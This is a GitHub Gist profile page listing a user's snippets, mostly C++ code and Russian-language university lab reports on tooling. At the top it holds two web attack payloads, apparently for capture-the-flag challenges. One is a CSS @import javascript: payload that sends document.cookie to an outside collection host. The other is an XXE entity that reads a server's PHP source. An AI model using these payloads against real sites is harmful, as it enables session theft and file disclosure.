Skip to content

Instantly share code, notes, and snippets.

View hackallcode's full-sized avatar

Vladimir Severov hackallcode

View GitHub Profile
@hackallcode
hackallcode / xhr.css
Last active September 26, 2019 17:01
@import 'javascript:eval("var xhr = new XMLHttpRequest();xhr.open(\"GET\",\"https://enxo2zqfm94v.x.pipedream.net?val=\"+document.cookie,true);xhr.send();alert(1)")';
.message {
color: red;
}
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >
]>
<rss version="2.0">
<channel>
<title></title>
<link></link>
<description></description>
#include <iostream>
#include <vector>
int FindTheSame(std::vector<int> array, size_t size, int elem) {
size_t left = 0;
size_t right = size - 1;
// Ищем промежуток
for (size_t i = 1; i < size; i *= 2) {
if (array[i] < elem) {

Laboratory work XV

Данная лабораторная работа посвещена изучению инструментов статического и динамического анализа кода

$ open http://cppcheck.sourceforge.net

Tasks

  • 1. Ознакомиться со ссылками учебного материала
@hackallcode
hackallcode / REPORT.md
Last active November 27, 2017 22:46
lab13

Laboratory work XIII

Написать программы на C++ для сериализации и десериализации структуры Person.

Структура Person определяется следующим образом:

struct Email {
  std::string nickname;
  std::string server;
};
@hackallcode
hackallcode / REPORT.md
Created November 27, 2017 18:52
lab12

Laboratory work XII

Написать программу на C++ обеспечивающую асинхронный запрос по заданному URL к HTTPS серверу на получение кода доступа. Для создания асинхронного запроса необходимо использовать следующие примитивы многопоточного программирования: std::thread для управления потоком и std::promise для ассинхронной обработки кода ответа. Передача аргумента происходит через командную строку.

Tasks

  • 1. Создать публичный репозиторий с названием lab12 на сервисе GitHub
  • 2. Выполнить инструкцию учебного материала
  • 3. Ознакомиться со ссылками учебного материала
@hackallcode
hackallcode / REPORT.md
Last active November 27, 2017 18:25
lab11

Laboratory work XI

Данная лабораторная работа посвещена изучению компонентов Boost на примере program_options

$ open http://www.boost.org/doc/libs/1_65_0/doc/html/program_options.html

Tasks

#include <map>
#include <vector>
#include <string>
#include <algorithm>
#include <thread>
#include <future>
#include <iostream>
@hackallcode
hackallcode / REPORT.md
Last active November 27, 2017 18:35
lab10

Laboratory work X

Данная лабораторная работа посвещена изучению систем управления пакетами на примере Hunter

$ open https://github.com/ruslo/hunter

Tasks

Laboratory work IX

Данная лабораторная работа посвещена изучению процесса создания пакета на примере Github Release

$ open https://help.github.com/articles/creating-releases/

Tasks